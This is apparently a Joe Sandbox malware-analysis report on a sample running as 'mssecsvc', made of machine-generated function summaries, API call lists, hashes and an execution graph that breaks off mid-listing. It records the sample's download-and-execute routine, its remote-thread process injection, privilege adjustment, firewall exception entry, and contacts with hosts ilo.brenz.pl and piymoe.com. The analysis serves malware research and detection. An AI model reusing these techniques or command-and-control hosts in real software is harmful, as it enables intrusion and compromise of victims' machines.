                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13EF6, 00C13F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C13EDF, 00C13EF4, 00C13F0B, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmapwsprintf
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 541178049-3594626639
                      • Opcode ID: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                      • Instruction ID: d622b75a383181ccbd3607b354e5a2cd0e08f5be18e12502e75c583a60de285b
                      • Opcode Fuzzy Hash: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                      • Instruction Fuzzy Hash: 22A10171508258BFEB259F64CC4EBEA7BACEF42304F044548F8598E081D2F45F86E7A5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3F60 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 215librarystringthreadCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(7FEA3F54), ref: 7FEA3F60
                        • Part of subcall function 7FEA3F8F: LoadLibraryA.KERNEL32(7FEA3F83), ref: 7FEA3F8F
                        • Part of subcall function 7FEA3F8F: WSAStartup.WS2_32(00000101), ref: 7FEA3FCE
                        • Part of subcall function 7FEA3F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                        • Part of subcall function 7FEA3F8F: CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                        • Part of subcall function 7FEA3F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                        • Part of subcall function 7FEA3F8F: socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                        • Part of subcall function 7FEA3F8F: connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                        • Part of subcall function 7FEA3F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 7FEA4057
                      • gethostbyname.WS2_32(ilo.brenz.pl), ref: 7FEA4066
                      • wsprintfA.USER32 ref: 7FEA4179
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 7FEA41B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                      • GetTickCount.KERNEL32 ref: 7FEA41F6
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA4195, 7FEA41DB
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$CloseHandleLibraryLoadThread$CountEventStartupTickVersionconnectgethostbynamelstrlensocketwsprintf
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$\DEVICE\AFD\ENDPOINT
                      • API String ID: 2996464229-962318479
                      • Opcode ID: 98c4dc3622c81e610166b3295d4bccfe550f8d2832964dac318e74891848542e
                      • Instruction ID: 9d7a0edf8395d02bdb3222331a00bfe847c5167623d17b4b3927ccf0a8489e01
                      • Opcode Fuzzy Hash: 98c4dc3622c81e610166b3295d4bccfe550f8d2832964dac318e74891848542e
                      • Instruction Fuzzy Hash: 5381FE71508388BFEB228F348C59BEA7BADEF41304F040659E84A9E091C7F66F45C762
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13F60 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 215librarystringthreadCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(00C13F54), ref: 00C13F60
                        • Part of subcall function 00C13F8F: LoadLibraryA.KERNEL32(00C13F83), ref: 00C13F8F
                        • Part of subcall function 00C13F8F: WSAStartup.WS2_32(00000101), ref: 00C13FCE
                        • Part of subcall function 00C13F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C13FE9
                        • Part of subcall function 00C13F8F: CloseHandle.KERNEL32(?,00000000), ref: 00C13FF2
                        • Part of subcall function 00C13F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C13FFF
                        • Part of subcall function 00C13F8F: socket.WS2_32(00000002,00000001,00000000), ref: 00C14097
                        • Part of subcall function 00C13F8F: connect.WS2_32(6F6C6902,00C13B09,00000010), ref: 00C140B1
                        • Part of subcall function 00C13F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 00C140FB
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00C14057
                      • gethostbyname.WS2_32(ilo.brenz.pl), ref: 00C14066
                      • wsprintfA.USER32 ref: 00C14179
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00C141B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,00C16AA2,00000000,00000000), ref: 00C141BD
                      • GetTickCount.KERNEL32 ref: 00C141F6
                      Strings
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$CloseHandleLibraryLoadThread$CountEventStartupTickVersionconnectgethostbynamelstrlensocketwsprintf
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\WINDOWS\TASKSCHE.EXE
                      • API String ID: 2996464229-840134975
                      • Opcode ID: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                      • Instruction ID: 81b7da8c6cd74d38fb1b3626cde5db81eef84bb1ea6882975b02b6298eb339a2
                      • Opcode Fuzzy Hash: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                      • Instruction Fuzzy Hash: 1C811071508299BFEB259F348C59BEA7FACEF42310F144548E8598E0C2C2F45F86E7A1
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA388E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                      Download Yara Rule
                      APIs
                      • GetSystemTime.KERNEL32(7FEA7584), ref: 7FEA389F
                      • Sleep.KERNEL32(0000EA60), ref: 7FEA3911
                      • InternetGetConnectedState.WININET(?,00000000), ref: 7FEA392A
                      • gethostbyname.WS2_32(0D278125), ref: 7FEA396C
                      • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA3981
                      • ioctlsocket.WS2_32(?,8004667E), ref: 7FEA399A
                      • connect.WS2_32(?,?,00000010), ref: 7FEA39B3
                      • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 7FEA39C1
                      • closesocket.WS2_32 ref: 7FEA3A20
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                      • String ID: piymoe.com
                      • API String ID: 159131500-3474456516
                      • Opcode ID: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                      • Instruction ID: 863d8d36320b09296de0ef8eaaf11b1bc77ac7fb125708de1e92797cd0aa2464
                      • Opcode Fuzzy Hash: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                      • Instruction Fuzzy Hash: 4641C531604348BEDB218F208C49BE9BB6EEF85714F004159F90AEE1C1DBF79B409720
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA07AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 7FEA144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                        • Part of subcall function 7FEA144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                      • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                      • FreeLibrary.KERNEL32(76DF0000,?,7FEA079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA07B8
                      • CloseHandle.KERNEL32(?,?,7FEA079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA07BF
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                      • Process32First.KERNEL32 ref: 7FEA07DC
                      • Process32Next.KERNEL32 ref: 7FEA07ED
                      • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA0805
                      • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003C38,00000002,00000000), ref: 7FEA0842
                      • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA085D
                      • CloseHandle.KERNEL32 ref: 7FEA086C
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseHandle$CreateProcess32$AdjustFirstFreeLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                      • String ID: csrs
                      • API String ID: 3908997113-2321902090
                      • Opcode ID: 214ed8d877d5af5bdcbfeb92dfaf8d9be1786541dc830f75d8708442990ea625
                      • Instruction ID: 84bb5cd5c05f80c9023c3546aa49ac891d3b4ee2c4a24ef2c536b510610674c9
                      • Opcode Fuzzy Hash: 214ed8d877d5af5bdcbfeb92dfaf8d9be1786541dc830f75d8708442990ea625
                      • Instruction Fuzzy Hash: 59113D30502205BBEB255F31CD49BBF3A6DEF44711F00016CFE4B9E081DAB69B018AAA
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA2768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                      Download Yara Rule
                      APIs
                      • GetTempPathA.KERNEL32(00000104), ref: 7FEA278C
                        • Part of subcall function 7FEA27A7: GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                        • Part of subcall function 7FEA27A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                        • Part of subcall function 7FEA27A7: InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                        • Part of subcall function 7FEA27A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                        • Part of subcall function 7FEA27A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                        • Part of subcall function 7FEA27A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                        • Part of subcall function 7FEA27A7: InternetCloseHandle.WININET(?), ref: 7FEA2833
                      • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                      • String ID:
                      • API String ID: 1995088466-0
                      • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                      • Instruction ID: c1ca02f886126752e6f21441145c1cc666a01a53b77e18b91c733c89828b9d16
                      • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                      • Instruction Fuzzy Hash: A821C0B1145306BFE7215A20CC8AFFF3A6DEF95B10F000119FA4AAD081D7B29B15C6A6
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C12768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                      Download Yara Rule
                      APIs
                      • GetTempPathA.KERNEL32(00000104), ref: 00C1278C
                        • Part of subcall function 00C127A7: GetTempFileNameA.KERNEL32(?,00C127A3,00000000,?), ref: 00C127A8
                        • Part of subcall function 00C127A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00C127A3,00000000,?), ref: 00C127C3
                        • Part of subcall function 00C127A7: InternetReadFile.WININET(?,?,00000104), ref: 00C127DD
                        • Part of subcall function 00C127A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00C127A3,00000000,?), ref: 00C127F3
                        • Part of subcall function 00C127A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,00C127A3,00000000,?), ref: 00C127FF
                        • Part of subcall function 00C127A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00C127A3), ref: 00C12823
                        • Part of subcall function 00C127A7: InternetCloseHandle.WININET(?), ref: 00C12833
                      • InternetCloseHandle.WININET(00000000), ref: 00C1283A
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                      • String ID:
                      • API String ID: 1995088466-0
                      • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                      • Instruction ID: 854666a702d7330055a446d301c8c489c7fb6ea6336ccc578a7e517339500765
                      • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                      • Instruction Fuzzy Hash: 8021DEB5144206BFE7215A20CC8AFEB3A2CEF96B00F000518FA09890C2D7B19B65D6A6
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA27A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                      Download Yara Rule
                      APIs
                      • GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                      • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                      • InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                      • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                      • CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                      • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                      • InternetCloseHandle.WININET(?), ref: 7FEA2833
                      • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                      • String ID:
                      • API String ID: 3452404049-0
                      • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                      • Instruction ID: 5e72b063bb693ddb0cec3f1fad15b0eca3dde0b314aeb166be0943229ddb0145
                      • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                      • Instruction Fuzzy Hash: 56116DB1100606BBEB250B20CC4AFFB7A6DEF85B14F004519FA06AD080DBF5AB5196A8
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA10CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(0184F9D0), ref: 7FEA113D
                      • GetProcAddress.KERNEL32(00000000,7FEA11D6), ref: 7FEA1148
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressHandleModuleProc
                      • String ID: .DLL
                      • API String ID: 1646373207-899428287
                      • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                      • Instruction ID: 2f73ade5318114d7e9bf37e66f68aeb85e6b2a503a621854e5f62f64a3af89c8
                      • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                      • Instruction Fuzzy Hash: D701D634607104EACB538E38C845BFE3B7EFF14275F004115D91A8F159C77A9A508F95
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C110CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(0184F9D0), ref: 00C1113D
                      • GetProcAddress.KERNEL32(00000000,00C111D6), ref: 00C11148
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressHandleModuleProc
                      • String ID: .DLL
                      • API String ID: 1646373207-899428287
                      • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                      • Instruction ID: 3b0bc6f72b93609a00b4207aa938956900137bc9ae1aee40320ab9f985b2a4c3
                      • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                      • Instruction Fuzzy Hash: 2E01A530607000FA8B648E2CC8496EDBB68AB0A351F244114DF198A155C778CFC0A695
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Execution Graph

                      Execution Coverage:3.6%
                      Dynamic/Decrypted Code Coverage:0%
                      Signature Coverage:0%
                      Total number of Nodes:326
                      Total number of Limit Nodes:0
                      execution_graph 2598 b93399 2600 b933a2 2598->2600 2601 b933a9 Sleep 2600->2601 2601->2601 2602 b93819 2604 b9381f WaitForSingleObject 2602->2604 2605 b9383b 2604->2605 2550 b9443b 2553 b9144a LookupPrivilegeValueA NtAdjustPrivilegesToken 2550->2553 2552 b94441 2553->2552 2554 b9663a 2557 b96647 2554->2557 2558 b96644 2557->2558 2559 b96652 2557->2559 2559->2558 2561 b96658 2559->2561 2564 b92574 2561->2564 2583 b9252f NtOpenSection 2564->2583 2566 b9257c 2567 b92661 2566->2567 2568 b92582 NtMapViewOfSection FindCloseChangeNotification 2566->2568 2567->2558 2568->2567 2571 b925ba 2568->2571 2569 b925ef 2585 b92477 NtProtectVirtualMemory NtWriteVirtualMemory 2569->2585 2571->2569 2584 b92477 NtProtectVirtualMemory NtWriteVirtualMemory 2571->2584 2573 b92600 2586 b92477 NtProtectVirtualMemory NtWriteVirtualMemory 2573->2586 2575 b92611 2587 b92477 NtProtectVirtualMemory NtWriteVirtualMemory 2575->2587 2577 b92622 2578 b92637 2577->2578 2588 b92477 NtProtectVirtualMemory NtWriteVirtualMemory 2577->2588 2581 b9264c 2578->2581 2589 b92477 NtProtectVirtualMemory NtWriteVirtualMemory 2578->2589 2581->2567 2590 b92477 NtProtectVirtualMemory NtWriteVirtualMemory 2581->2590 2583->2566 2584->2569 2585->2573 2586->2575 2587->2577 2588->2578 2589->2581 2590->2567 2623 b902fe 2624 b90415 2623->2624 2626 b9042d 2624->2626 2657 b910ce 2626->2657 2628 b9048f 2629 b904dd 2628->2629 2630 b904b0 GetModuleHandleA 2628->2630 2631 b904f8 GetVersion 2629->2631 2630->2629 2632 b905ca 2631->2632 2633 b9050f VirtualAlloc 2631->2633 2634 b905a9 CloseHandle 2632->2634 2635 b905d3 SetProcessAffinityMask 2632->2635 2633->2634 2640 b90532 2633->2640 2638 b905f2 GetModuleHandleA 2634->2638 2664 b905f2 GetModuleHandleA 2635->2664 2637 b905ec 2637->2634 2641 b906fc lstrcpyW 2637->2641 2643 b9074c NtMapViewOfSection 2637->2643 2644 b90717 GetPEB lstrcpyW lstrcatW 2637->2644 2647 b90780 NtOpenProcessToken 2637->2647 2648 b907c5 CreateToolhelp32Snapshot Process32First 2637->2648 2649 b907eb Process32Next 2637->2649 2652 b907fd OpenProcess 2637->2652 2653 b92574 5 API calls 2637->2653 2654 b9085c CloseHandle 2637->2654 2655 b90834 CreateRemoteThread 2637->2655 2656 b905ba Sleep 2637->2656 2686 b907ac 2637->2686 2639 b910ce 2 API calls 2638->2639 2639->2637 2640->2634 2661 b905ba 2640->2661 2683 b924ae lstrcpyW lstrlenW 2641->2683 2643->2634 2643->2637 2646 b924ae 3 API calls 2644->2646 2646->2637 2647->2637 2647->2648 2648->2649 2649->2637 2650 b90865 CloseHandle 2649->2650 2650->2634 2652->2637 2652->2649 2653->2637 2654->2649 2655->2637 2655->2654 2656->2654 2658 b910db 2657->2658 2658->2657 2659 b9115c 2658->2659 2660 b91133 GetModuleHandleA GetProcAddress 2658->2660 2659->2628 2660->2658 2662 b905c9 2661->2662 2663 b905bf Sleep 2661->2663 2662->2634 2663->2661 2665 b910ce 2 API calls 2664->2665 2681 b9060e 2665->2681 2666 b905a9 CloseHandle 2666->2664 2667 b906fc lstrcpyW 2668 b924ae 3 API calls 2667->2668 2668->2681 2669 b9074c NtMapViewOfSection 2669->2666 2669->2681 2670 b90717 GetPEB lstrcpyW lstrcatW 2671 b924ae 3 API calls 2670->2671 2671->2681 2672 b90780 NtOpenProcessToken 2673 b907c5 CreateToolhelp32Snapshot Process32First 2672->2673 2672->2681 2674 b907eb Process32Next 2673->2674 2675 b90865 CloseHandle 2674->2675 2674->2681 2675->2666 2676 b907ac 30 API calls 2676->2681 2677 b907fd OpenProcess 2677->2674 2677->2681 2678 b92574 5 API calls 2678->2681 2679 b9085c CloseHandle 2679->2674 2680 b90834 CreateRemoteThread 2680->2679 2680->2681 2681->2666 2681->2667 2681->2669 2681->2670 2681->2672 2681->2673 2681->2674 2681->2676 2681->2677 2681->2678 2681->2679 2681->2680 2682 b905ba Sleep 2681->2682 2682->2679 2684 b96b47 2683->2684 2685 b924ea NtCreateSection 2684->2685 2685->2637 2709 b9144a LookupPrivilegeValueA NtAdjustPrivilegesToken 2686->2709 2688 b907b2 FreeLibrary FindCloseChangeNotification 2689 b907c5 CreateToolhelp32Snapshot Process32First 2688->2689 2690 b907eb Process32Next 2689->2690 2691 b90865 CloseHandle 2690->2691 2707 b9060e 2690->2707 2692 b905a9 CloseHandle 2691->2692 2694 b905f2 GetModuleHandleA 2692->2694 2693 b907fd OpenProcess 2693->2690 2693->2707 2696 b910ce 2 API calls 2694->2696 2695 b92574 5 API calls 2695->2707 2696->2707 2697 b9085c CloseHandle 2697->2690 2698 b90834 CreateRemoteThread 2698->2697 2699 b9084d 2698->2699 2700 b905ba Sleep 2699->2700 2700->2697 2701 b906fc lstrcpyW 2702 b924ae 3 API calls 2701->2702 2702->2707 2703 b9074c NtMapViewOfSection 2703->2692 2703->2707 2704 b90717 GetPEB lstrcpyW lstrcatW 2705 b924ae 3 API calls 2704->2705 2705->2707 2706 b90780 NtOpenProcessToken 2706->2689 2706->2707 2707->2689 2707->2690 2707->2692 2707->2693 2707->2695 2707->2697 2707->2698 2707->2701 2707->2703 2707->2704 2707->2706 2708 b907ac 13 API calls 2707->2708 2708->2707 2709->2688 3095 b90fd6 3097 b910a0 3095->3097 3096 b9115c 3097->3096 3098 b91133 GetModuleHandleA GetProcAddress 3097->3098 3098->3097 2606 b93888 2608 b9388e GetSystemTime 2606->2608 2611 b938d2 2608->2611 2609 b9390c Sleep 2609->2611 2610 b93a32 2611->2609 2611->2610 2612 b939b9 Sleep 2611->2612 2612->2611 2710 b9116f LoadLibraryA 2715 b91196 GetProcAddress 2710->2715 2712 b91220 2713 b9145b NtAdjustPrivilegesToken 2714 b91180 2714->2712 2714->2713 2715->2714 2594 b96620 2595 b96647 5 API calls 2594->2595 2596 b9662a 2595->2596 2613 b90000 2614 b90004 2613->2614 2615 b900a1 2614->2615 2617 b9025e 2614->2617 2621 b90105 2617->2621 2619 b90268 GetPEB 2620 b90278 2619->2620 2620->2615 2622 b90116 2621->2622 2622->2619 2622->2622 2716 b933e0 2717 b9344e 2716->2717 2718 b933e5 2716->2718 2719 b9345f NtQuerySystemInformation 2717->2719 2724 b935f3 2717->2724 2720 b9346f MapViewOfFile CloseHandle 2718->2720 2721 b93440 NtOpenSection 2718->2721 2719->2720 2723 b934b0 2720->2723 2720->2724 2721->2717 2722 b934b7 UnmapViewOfFile 2722->2724 2723->2722 2723->2724 2597 b91422 LookupPrivilegeValueA NtAdjustPrivilegesToken 2725 b92762 2727 b92768 2725->2727 2728 b92829 2727->2728 2729 b92780 GetTempPathA 2727->2729 2735 b927a7 GetTempFileNameA CreateFileA 2729->2735 2732 b927ce 2733 b927fe CloseHandle CreateProcessA 2732->2733 2734 b927ea WriteFile 2732->2734 2733->2728 2734->2732 2734->2733 2736 b927ce 2735->2736 2739 b927a3 CreateFileA 2735->2739 2737 b927fe CloseHandle CreateProcessA 2736->2737 2738 b927ea WriteFile 2736->2738 2737->2739 2738->2736 2738->2737 2739->2728 2739->2732 2740 b92665 2742 b9266b CreateThread CloseHandle 2740->2742 2743 b93c38 2742->2743 2745 b93c3d 2743->2745 2746 b93ca9 2745->2746 2752 b93c5b GetWindowsDirectoryA 2745->2752 2796 b9252f NtOpenSection 2746->2796 2748 b93cae 2750 b93cfb GetSystemDirectoryA 2748->2750 2751 b93cb5 2748->2751 2837 b93d1f lstrcat 2750->2837 2797 b93cc2 GetModuleHandleA 2751->2797 2753 b93d26 2752->2753 2875 b93d36 LoadLibraryA 2753->2875 2796->2748 2798 b93ccc 2797->2798 2799 b93cde 2797->2799 2801 b93cd4 GetProcAddress 2798->2801 2912 b93cf0 GetModuleHandleA 2799->2912 2801->2799 2838 b93d26 2837->2838 2839 b93d36 127 API calls 2838->2839 2840 b93d2b GetProcAddress LoadLibraryA 2839->2840 2842 b910ce 2 API calls 2840->2842 2843 b93d7d 2842->2843 2844 b93d92 GetTickCount 2843->2844 2845 b93daa 2844->2845 2846 b93e47 GetVolumeInformationA 2845->2846 2847 b93e7a 2846->2847 2848 b93f25 2847->2848 2849 b93eb5 84 API calls 2847->2849 2850 b93f4f 2848->2850 2851 b93f31 CreateThread CloseHandle 2848->2851 2852 b93ea9 2849->2852 2854 b93f60 43 API calls 2850->2854 2851->2850 2852->2848 2853 b93efd 2852->2853 2855 b93eca GetModuleFileNameA 2852->2855 2853->2848 2857 b93405 5 API calls 